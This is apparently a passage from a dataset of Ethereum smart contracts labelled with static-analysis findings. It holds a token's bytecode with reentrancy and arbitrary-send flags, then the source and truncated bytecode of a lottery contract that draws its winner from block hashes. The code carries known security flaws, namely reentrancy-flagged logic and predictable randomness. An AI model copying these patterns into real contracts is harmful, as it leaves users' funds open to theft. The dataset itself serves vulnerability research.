51b815260040161058c90611c9a565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b60006105c1306106e5565b905090565b600d546001600160a01b0316336001600160a01b0316146105e657600080fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b600d546001600160a01b0316336001600160a01b03161461062a57600080fd5b60108054911515600160a81b0260ff60a81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461066857600080fd5b600e80546001600160a01b03908116600090815260056020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600d546001600160a01b0316336001600160a01b0316146106d857600080fd5b476106e2816112bc565b50565b6001600160a01b0381166000908152600260205260408120546104f390611341565b6000546001600160a01b031633146107315760405162461bcd60e51b815260040161058c90611c9a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104ef338484610eab565b6000546001600160a01b031633146107b25760405162461bcd60e51b815260040161058c90611c9a565b60005b81518110156108cb5760105482516001600160a01b03909116908390839081106107ef57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03161415801561084e5750600f5482516001600160a01b039091169083908390811061083a57634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b031614155b156108b95760016006600084848151811061087957634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108c381611dad565b9150506107b5565b5050565b600d546001600160a01b0316336001600160a01b0316146108ef57600080fd5b60006108fa306106e5565b90506106e2816113c5565b600d546001600160a01b0316336001600160a01b03161461092557600080fd5b600a81111561093357600080fd5b600955565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161058c90611c9a565b601054600160a01b900460ff16156109bc5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161058c565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109f73082662386f26fc10000610d87565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3057600080fd5b505afa158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a689190611a44565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ab057600080fd5b505afa158015610ac4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae89190611a44565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b3057600080fd5b505af1158015610b44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b689190611a44565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610b98816106e5565b600080610bad6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c1057600080fd5b505af1158015610c24573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c499190611c1a565b5050601054600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610c9d57600080fd5b505af1158015610cb1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cd59190611be6565b506010805460ff60a01b1916600160a01b179055610cf54261012c611d3f565b60115550565b600d546001600160a01b0316336001600160a01b031614610d1b57600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6010546000906105c1906001600160a01b03166106e5565b600d546001600160a01b0316336001600160a01b031614610d7457600080fd5b600a811115610d8257600080fd5b600a55565b6001600160a01b038316610de95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161058c565b6001600160a01b038216610e4a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161058c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f0f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161058c565b6001600160a01b038216610f715760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161058c565b60008111610fd35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161058c565b6000546001600160a01b03848116911614801590610fff57506000546001600160a01b03838116911614155b15611211576001600160a01b03831660009081526006602052604090205460ff1615801561104657506001600160a01b03821660009081526006602052604090205460ff16155b61104f57600080fd5b6010546001600160a01b03848116911614801561107a5750600f546001600160a01b03838116911614155b801561109f57506001600160a01b03821660009081526005602052604090205460ff16155b1561114857601054600160a01b900460ff166110fd5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161058c565b426011541115611148576000611112836106e5565b9050611131606461112b662386f26fc10000600261156a565b906115e9565b61113b838361162b565b111561114657600080fd5b505b6000611153306106e5565b601054909150600160b01b900460ff1615801561117e57506010546001600160a01b03858116911614155b80156111935750601054600160a01b900460ff165b1561120f5780156111fd576010546111c79060649061112b906005906111c1906001600160a01b03166106e5565b9061156a565b8111156111f4576010546111f19060649061112b906005906111c1906001600160a01b03166106e5565b90505b6111fd816113c5565b47801561120d5761120d476112bc565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061125357506001600160a01b03831660009081526005602052604090205460ff165b806112675750601054600160a81b900460ff165b15611270575060005b61127c8484848461168a565b50505050565b600081848411156112a65760405162461bcd60e51b815260040161058c9190611c47565b5060006112b38486611d96565b95945050505050565b600d546001600160a01b03166108fc6112d68360026115e9565b6040518115909202916000818181858888f193505050501580156112fe573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6113198360026115e9565b6040518115909202916000818181858888f193505050501580156108cb573d6000803e3d6000fd5b60006007548211156113a85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161058c565b60006113b26116b8565b90506113be83826115e9565b9392505050565b6010805460ff60b01b1916600160b01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061141b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561146f57600080fd5b505afa158015611483573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a79190611a44565b816001815181106114c857634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546114ee9130911684610d87565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611527908590600090869030904290600401611ccf565b600060405180830381600087803b15801561154157600080fd5b505af1158015611555573d6000803e3d6000fd5b50506010805460ff60b01b1916905550505050565b600082611579575060006104f3565b60006115858385611d77565b9050826115928583611d57565b146113be5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161058c565b60006113be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116db565b6000806116388385611d3f565b9050838110156113be5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161058c565b8061169757611697611709565b6116a2848484611737565b8061127c5761127c600b54600955600c54600a55565b60008060006116c561182e565b90925090506116d482826115e9565b9250505090565b600081836116fc5760405162461bcd60e51b815260040161058c9190611c47565b5060006112b38486611d57565b6009541580156117195750600a54155b1561172057565b60098054600b55600a8054600c5560009182905555565b6000806000806000806117498761186c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061177b90876118c9565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117aa908661162b565b6001600160a01b0389166000908152600260205260409020556117cc8161190b565b6117d68483611955565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161181b91815260200190565b60405180910390a3505050505050505050565b6007546000908190662386f26fc1000061184882826115e9565b82101561186357505060075492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006118898a600954600a54611979565b92509250925060006118996116b8565b905060008060006118ac8e8787876119c8565b919e509c509a509598509396509194505050505091939550919395565b60006113be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611282565b60006119156116b8565b90506000611923838361156a565b30600090815260026020526040902054909150611940908261162b565b30600090815260026020526040902055505050565b60075461196290836118c9565b600755600854611972908261162b565b6008555050565b600080808061198d606461112b898961156a565b905060006119a0606461112b8a8961156a565b905060006119b8826119b28b866118c9565b906118c9565b9992985090965090945050505050565b60008080806119d7888661156a565b905060006119e5888761156a565b905060006119f3888861156a565b90506000611a05826119b286866118c9565b939b939a50919850919650505050505050565b8035611a2381611df4565b919050565b600060208284031215611a39578081fd5b81356113be81611df4565b600060208284031215611a55578081fd5b81516113be81611df4565b60008060408385031215611a72578081fd5b8235611a7d81611df4565b91506020830135611a8d81611df4565b809150509250929050565b600080600060608486031215611aac578081fd5b8335611ab781611df4565b92506020840135611ac781611df4565b929592945050506040919091013590565b60008060408385031215611aea578182fd5b8235611af581611df4565b946020939093013593505050565b60006020808385031215611b15578182fd5b823567ffffffffffffffff80821115611b2c578384fd5b818501915085601f830112611b3f578384fd5b813581811115611b5157611b51611dde565b8060051b604051601f19603f83011681018181108582111715611b7657611b76611dde565b604052828152858101935084860182860187018a1015611b94578788fd5b8795505b83861015611bbd57611ba981611a18565b855260019590950194938601938601611b98565b5098975050505050505050565b600060208284031215611bdb578081fd5b81356113be81611e09565b600060208284031215611bf7578081fd5b81516113be81611e09565b600060208284031215611c13578081fd5b5035919050565b600080600060608486031215611c2e578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c7357858101830151858201604001528201611c57565b81811115611c845783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d1e5784516001600160a01b031683529383019391830191600101611cf9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d5257611d52611dc8565b500190565b600082611d7257634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d9157611d91611dc8565b500290565b600082821015611da857611da8611dc8565b500390565b6000600019821415611dc157611dc1611dc8565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146106e257600080fd5b80151581146106e257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d698b433797bc8a858672271d2911118bd9ce971d0a3efcf77b58ef517baf15964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,462
0x65381eb4d3a832a457110167f2620ecf9f3506c3
pragma solidity 0.5.10; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor(address initialOwner) public { require(initialOwner != address(0)); owner = msg.sender; emit OwnershipTransferred(address(0), owner); } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ReentrancyGuard { uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() internal { _status = _NOT_ENTERED; } modifier nonReentrant() { require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); _status = _ENTERED; _; _status = _NOT_ENTERED; } } interface IERC20 { function balanceOf(address who) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); } contract TriangleRooms is Ownable, ReentrancyGuard { enum State {Stopped, Paused, Game, Drawing} State public state = State.Stopped; uint256 _nextPrice; uint256 _nextPrize; uint256 _nextLimit; uint256 public blockDelay; uint256 public gameCount; mapping(address => mapping(uint256 => uint256)) internal _tickets; mapping(uint256 => bytes32) internal _blockhashes; mapping(uint256 => Round) internal _rounds; struct Round { uint256 price; uint256 prize; uint256 limit; uint256 sold; uint256 futureblock; mapping(uint256 => address payable) players; } uint256 public availableFee; Wallet[] public wallets; struct Wallet { address payable account; uint256 share; } event RoundStarted(uint256 gameCount); event NewPlayer( address indexed addr, uint256 amount, uint256 available, uint256 gameCount ); event PayBack(address indexed addr, uint256 value, string cause); event AllBetsAreIn(uint256 tickets, uint256 gameCount); event FutureBlock(uint256 blocknumber, uint256 delay, uint256 gameCount); event GameOver( uint256 gameCount, uint256 futureblock, bytes32 hash, uint256 seed, uint256 winnerTicket, address indexed winner, uint256 prize, uint256 fee ); modifier onState(State requiredState) { require(_isState(requiredState), "Wrong state"); _; } modifier notOnPause() { require(!_isState(State.Stopped) && !_isState(State.Paused)); _; } constructor( uint256 price, uint256 prize, uint256 limit, uint256 delay, address payable initialWallet ) public Ownable(msg.sender) { require(delay > 0); setParameters(price, prize, limit); wallets.push(Wallet(initialWallet, 10000)); blockDelay = delay; } function start( address payable[] calldata addresses, uint256[] calldata amounts ) external payable onlyOwner onState(State.Stopped) { require(addresses.length == amounts.length, "Arrays are not equal"); _startRound(); Round storage round = _rounds[gameCount]; uint256 totalValue; for (uint256 i = 0; i < addresses.length; i++) { round.players[round.sold] = addresses[i]; round.sold += amounts[i]; _tickets[addresses[i]][gameCount] += amounts[i]; emit NewPlayer( addresses[i], amounts[i], round.limit - round.sold, gameCount ); totalValue += amounts[i] * round.price; } require( totalValue <= round.limit * round.price, "Round limit overflow" ); require(msg.value >= totalValue, "Not enough of ether"); uint256 change = msg.value - totalValue; if (change > 0) { if (msg.sender.send(change)) { emit PayBack(msg.sender, change, "Limit"); } } if (round.sold >= round.limit) { state = State.Drawing; emit AllBetsAreIn(round.sold, gameCount); draw(); } } function() external payable { if (_isState(State.Game)) { play(); } else if (_isState(State.Drawing)) { bool result = draw(); if (!result && msg.value > 0) { if (msg.sender.send(msg.value)) { emit PayBack(msg.sender, msg.value, "Draw"); } } } else revert(); } function play() public payable notOnPause nonReentrant { if (_isState(State.Game)) { Round storage round = _rounds[gameCount]; uint256 amount = msg.value / round.price; require(amount > 0); uint256 change; string memory comment; uint256 available = getAvailableTickets(); if (amount > available) { amount = available; change = msg.value - (available * round.price); comment = "Limit"; } else if (msg.value > amount * round.price) { change = msg.value % round.price; comment = "Change"; } if (amount > 0) { round.players[round.sold] = msg.sender; round.sold += amount; _tickets[msg.sender][gameCount] += amount; } emit NewPlayer( msg.sender, amount, round.limit - round.sold, gameCount ); if (round.sold >= round.limit) { state = State.Drawing; emit AllBetsAreIn(round.sold, gameCount); } if (change > 0) { if (msg.sender.send(change)) { emit PayBack(msg.sender, change, comment); } } } if (_isState(State.Drawing)) { draw(); } } function draw() public payable onState(State.Drawing) returns (bool) { Round storage round = _rounds[gameCount]; if (round.futureblock == 0 || block.number > round.futureblock + 254) { round.futureblock = block.number + blockDelay; emit FutureBlock(round.futureblock, blockDelay, gameCount); return false; } require( block.number > round.futureblock, "Awaiting for the future block" ); uint256 fee = address(this).balance - round.prize - msg.value; availableFee += fee; ( uint256 futureblock, bytes32 hash, uint256 seed, uint256 winnerTicket, address payable winnerAddr ) = getRoundWinner(gameCount); _blockhashes[futureblock] = hash; (winnerAddr.send(round.prize)); emit GameOver( gameCount, futureblock, hash, seed, winnerTicket, winnerAddr, round.prize, fee ); _startRound(); if (msg.value >= _rounds[gameCount].price) { play(); } else if (msg.value > 0) { if (msg.sender.send(msg.value)) { emit PayBack(msg.sender, msg.value, "Change"); } } return true; } function _startRound() internal { gameCount++; Round storage round = _rounds[gameCount]; round.price = _nextPrice; round.prize = _nextPrize; round.limit = _nextLimit; state = State.Game; emit RoundStarted(gameCount); } function donate() external payable {} function pause() external onlyOwner onState(State.Game) { state = State.Paused; } function unpause() external onlyOwner onState(State.Paused) { state = State.Game; } function setWallets( address payable[] memory initialWallets, uint256[] memory shares ) public onlyOwner { require(initialWallets.length == shares.length); if (availableFee > 0) { withdrawFee(); } delete wallets; uint256 totalShare; for (uint256 i = 0; i < initialWallets.length; i++) { require(!_isContract(initialWallets[i])); wallets.push(Wallet(initialWallets[i], shares[i])); totalShare += shares[i]; } require(totalShare == 10000, "Total sum of shares must be 10000"); } function setParameters( uint256 newPrice, uint256 newPrize, uint256 newLimit ) public onlyOwner { require(newPrice > 0 && newPrize > 0 && newLimit > 0); require(newPrize < newPrice * newLimit); _nextPrice = newPrice; _nextPrize = newPrize; _nextLimit = newLimit; } function withdrawFee() public onlyOwner { uint256 payout = availableFee; if (payout > 0) { availableFee = 0; for (uint256 i; i < wallets.length; i++) { wallets[i].account.transfer( (payout * wallets[i].share) / 10000 ); } } } function withdrawERC20(address ERC20Token, address recipient) external onlyOwner { uint256 amount = IERC20(ERC20Token).balanceOf(address(this)); IERC20(ERC20Token).transfer(recipient, amount); } function getRoundWinner(uint256 roundIdx) public view returns ( uint256 futureblock, bytes32 hash, uint256 seed, uint256 winnerTicket, address payable winnerAddr ) { require(roundIdx <= gameCount); futureblock = getRoundFutureBlock(roundIdx); hash = getBlockHash(futureblock); seed = getSeed(hash); winnerTicket = getWinnerTicket(roundIdx, seed); winnerAddr = getWinnerAddress(roundIdx, winnerTicket); return (futureblock, hash, seed, winnerTicket, winnerAddr); } function getRoundFutureBlock(uint256 roundIdx) public view returns (uint256 blocknumber) { blocknumber = _rounds[roundIdx].futureblock; return blocknumber; } function getBlockHash(uint256 blocknumber) public view returns (bytes32 hash) { require(block.number > blocknumber, "Awaiting for the future block"); if (block.number < blocknumber + 254) { hash = blockhash(blocknumber); } else { hash = _blockhashes[blocknumber]; } return hash; } function getSeed(bytes32 hash) public pure returns (uint256 seed) { require(hash > 0, "Hash is the zero value"); return uint256(hash); } function getWinnerTicket(uint256 roundIdx, uint256 seed) public view returns (uint256 winnerTicket) { require(roundIdx <= gameCount); winnerTicket = (seed % _rounds[roundIdx].limit) + 1; return winnerTicket; } function getWinnerAddress(uint256 roundIdx, uint256 winnerTicket) public view returns (address payable winnerAddr) { require(roundIdx <= gameCount); Round storage round = _rounds[roundIdx]; for (uint256 i = 0; i <= winnerTicket; i++) { if (round.players[winnerTicket - i] != address(0)) { winnerAddr = round.players[winnerTicket - i]; break; } } return winnerAddr; } function getRoundParameters(uint256 roundIdx) public view returns ( uint256 price, uint256 prize, uint256 limit ) { Round memory round = _rounds[roundIdx]; return (round.price, round.prize, round.limit); } function getCurrentParameters() external view returns ( uint256 price, uint256 prize, uint256 limit ) { return getRoundParameters(gameCount); } function getNextParameters() external view returns ( uint256 price, uint256 prize, uint256 limit ) { return (_nextPrice, _nextPrize, _nextLimit); } function getAvailableTickets() public view returns (uint256) { Round memory round = _rounds[gameCount]; return (round.limit - round.sold); } function getTicketsOf(address account, uint256 roundIdx) external view returns (uint256) { return _tickets[account][roundIdx]; } function getCurrentTicketsOf(address account) external view returns (uint256) { return _tickets[account][gameCount]; } function _isState(State requiredState) internal view returns (bool) { return (state == requiredState); } function _isContract(address addr) internal view returns (bool) { uint256 size; assembly { size := extcodesize(addr) } return size > 0; } }
0x6080604052600436106101cd5760003560e01c80638da5cb5b116100f7578063c8183ea411610095578063ed88c68e11610064578063ed88c68e14610b92578063ee82ac5e14610b9c578063f2fde38b14610beb578063fcfcfdbf14610c3c576101cd565b8063c8183ea414610988578063d7c48e7a146109f7578063d98f608814610b50578063e941fa7814610b7b576101cd565b8063abe5beea116100d1578063abe5beea1461084a578063b0b3f147146108a3578063c19d93fb146108f2578063c708eea21461092b576101cd565b80638da5cb5b1461077857806393e84cd9146107cf5780639456fbcc146107d9576101cd565b80635e9955ed1161016f57806378c19a431161013e57806378c19a431461062f5780637ad71f721461065a5780637e5cc60a146106dc5780638456cb5914610761576101cd565b80635e9955ed146104965780636bb52b31146104e5578063715018a6146105b357806371729a98146105ca576101cd565b806348257dab116101ab57806348257dab146103705780634d1975b4146103a957806354a8fb47146103d45780635a8acacc1461046b576101cd565b80630eecae21146102e857806334c5d2ce1461030a5780633f4ba83a14610359575b6101d76002610c75565b156101e9576101e4610ca6565b6102e6565b6101f36003610c75565b156102e057600061020261112f565b9050801580156102125750600034115b156102da573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050156102d9573373ffffffffffffffffffffffffffffffffffffffff167f1a75088e549531a655d19fabb70fa23342d85a38826985023b0b8d480fd6c17f346040518082815260200180602001828103825260048152602001807f44726177000000000000000000000000000000000000000000000000000000008152506020019250505060405180910390a25b5b506102e5565b600080fd5b5b005b6102f061112f565b604051808215151515815260200191505060405180910390f35b34801561031657600080fd5b506103576004803603606081101561032d57600080fd5b810190808035906020019092919080359060200190929190803590602001909291905050506114fc565b005b34801561036557600080fd5b5061036e6115a2565b005b34801561037c57600080fd5b5061038561169e565b60405180848152602001838152602001828152602001935050505060405180910390f35b3480156103b557600080fd5b506103be6116b9565b6040518082815260200191505060405180910390f35b3480156103e057600080fd5b5061040d600480360360208110156103f757600080fd5b81019080803590602001909291905050506116bf565b604051808681526020018581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019550505050505060405180910390f35b34801561047757600080fd5b50610480611727565b6040518082815260200191505060405180910390f35b3480156104a257600080fd5b506104cf600480360360208110156104b957600080fd5b8101908080359060200190929190505050611796565b6040518082815260200191505060405180910390f35b6105b1600480360360408110156104fb57600080fd5b810190808035906020019064010000000081111561051857600080fd5b82018360208201111561052a57600080fd5b8035906020019184602083028401116401000000008311171561054c57600080fd5b90919293919293908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b90919293919293905050506117b9565b005b3480156105bf57600080fd5b506105c8611da0565b005b3480156105d657600080fd5b50610619600480360360208110156105ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ea0565b6040518082815260200191505060405180910390f35b34801561063b57600080fd5b50610644611efc565b6040518082815260200191505060405180910390f35b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b8101908080359060200190929190505050611f02565b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390f35b3480156106e857600080fd5b5061071f600480360360408110156106ff57600080fd5b810190808035906020019092919080359060200190929190505050611f53565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561076d57600080fd5b5061077661204a565b005b34801561078457600080fd5b5061078d612147565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107d7610ca6565b005b3480156107e557600080fd5b50610848600480360360408110156107fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061216c565b005b34801561085657600080fd5b5061088d6004803603604081101561086d57600080fd5b810190808035906020019092919080359060200190929190505050612349565b6040518082815260200191505060405180910390f35b3480156108af57600080fd5b506108dc600480360360208110156108c657600080fd5b8101908080359060200190929190505050612388565b6040518082815260200191505060405180910390f35b3480156108fe57600080fd5b5061090761240d565b6040518082600381111561091757fe5b60ff16815260200191505060405180910390f35b34801561093757600080fd5b506109646004803603602081101561094e57600080fd5b8101908080359060200190929190505050612420565b60405180848152602001838152602001828152602001935050505060405180910390f35b34801561099457600080fd5b506109e1600480360360408110156109ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061249c565b6040518082815260200191505060405180910390f35b348015610a0357600080fd5b50610b4e60048036036040811015610a1a57600080fd5b8101908080359060200190640100000000811115610a3757600080fd5b820183602082011115610a4957600080fd5b80359060200191846020830284011164010000000083111715610a6b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610acb57600080fd5b820183602082011115610add57600080fd5b80359060200191846020830284011164010000000083111715610aff57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506124f7565b005b348015610b5c57600080fd5b50610b6561270e565b6040518082815260200191505060405180910390f35b348015610b8757600080fd5b50610b90612714565b005b610b9a612857565b005b348015610ba857600080fd5b50610bd560048036036020811015610bbf57600080fd5b8101908080359060200190929190505050612859565b6040518082815260200191505060405180910390f35b348015610bf757600080fd5b50610c3a60048036036020811015610c0e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612903565b005b348015610c4857600080fd5b50610c51612a54565b60405180848152602001838152602001828152602001935050505060405180910390f35b6000816003811115610c8357fe5b600260009054906101000a900460ff166003811115610c9e57fe5b149050919050565b610cb06000610c75565b158015610cc45750610cc26001610c75565b155b610ccd57600080fd5b60026001541415610d46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b6002600181905550610d586002610c75565b1561110d576000600a600060075481526020019081526020016000209050600081600001543481610d8557fe5b04905060008111610d9557600080fd5b600060606000610da3611727565b905080841115610df85780935084600001548102340392506040518060400160405280600581526020017f4c696d69740000000000000000000000000000000000000000000000000000008152509150610e50565b84600001548402341115610e4f5784600001543481610e1357fe5b0692506040518060400160405280600681526020017f4368616e6765000000000000000000000000000000000000000000000000000081525091505b5b6000841115610f2457338560050160008760030154815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083856003016000828254019250508190555083600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006007548152602001908152602001600020600082825401925050819055505b3373ffffffffffffffffffffffffffffffffffffffff167fac71b82cef06609156ce98027e4101ca6bacc31087e0d9b3a159591a6697d54a85876003015488600201540360075460405180848152602001838152602001828152602001935050505060405180910390a28460020154856003015410611007576003600260006101000a81548160ff02191690836003811115610fbc57fe5b02179055507fec9508703ad266d54f5cfe09a83150539e481b5a67761c90cd5f550150809d578560030154600754604051808381526020018281526020019250505060405180910390a15b6000831115611107573373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f1935050505015611106573373ffffffffffffffffffffffffffffffffffffffff167f1a75088e549531a655d19fabb70fa23342d85a38826985023b0b8d480fd6c17f84846040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156110ca5780820151818401526020810190506110af565b50505050905090810190601f1680156110f75780820380516001836020036101000a031916815260200191505b50935050505060405180910390a25b5b50505050505b6111176003610c75565b156111265761112461112f565b505b60018081905550565b6000600361113c81610c75565b6111ae576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f57726f6e6720737461746500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600a6000600754815260200190815260200160002090506000816004015414806111e0575060fe81600401540143115b1561124b57600654430181600401819055507fd4d43fae566a508b81152043c3be275517cc7035c1d60d975aa41fff4e3a233c816004015460065460075460405180848152602001838152602001828152602001935050505060405180910390a160009250506114f8565b806004015443116112c4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4177616974696e6720666f72207468652066757475726520626c6f636b00000081525060200191505060405180910390fd5b60003482600101543073ffffffffffffffffffffffffffffffffffffffff16310303905080600b60008282540192505081905550600080600080600061130b6007546116bf565b945094509450945094508360096000878152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff166108fc88600101549081150290604051600060405180830381858888f19350505050508073ffffffffffffffffffffffffffffffffffffffff167fb0961bd4a7a707fb1c535c756218274228fe61e8166a2d920755a5647537b558600754878787878d600101548d6040518088815260200187815260200186815260200185815260200184815260200183815260200182815260200197505050505050505060405180910390a26113f3612a6d565b600a6000600754815260200190815260200160002060000154341061141f5761141a610ca6565b6114ec565b60003411156114eb573373ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050156114ea573373ffffffffffffffffffffffffffffffffffffffff167f1a75088e549531a655d19fabb70fa23342d85a38826985023b0b8d480fd6c17f346040518082815260200180602001828103825260068152602001807f4368616e676500000000000000000000000000000000000000000000000000008152506020019250505060405180910390a25b5b5b60019850505050505050505b5090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461155557600080fd5b6000831180156115655750600082115b80156115715750600081115b61157a57600080fd5b808302821061158857600080fd5b826003819055508160048190555080600581905550505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115fb57600080fd5b600161160681610c75565b611678576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f57726f6e6720737461746500000000000000000000000000000000000000000081525060200191505060405180910390fd5b60028060006101000a81548160ff0219169083600381111561169657fe5b021790555050565b60008060006116ae600754612420565b925092509250909192565b60075481565b600080600080600060075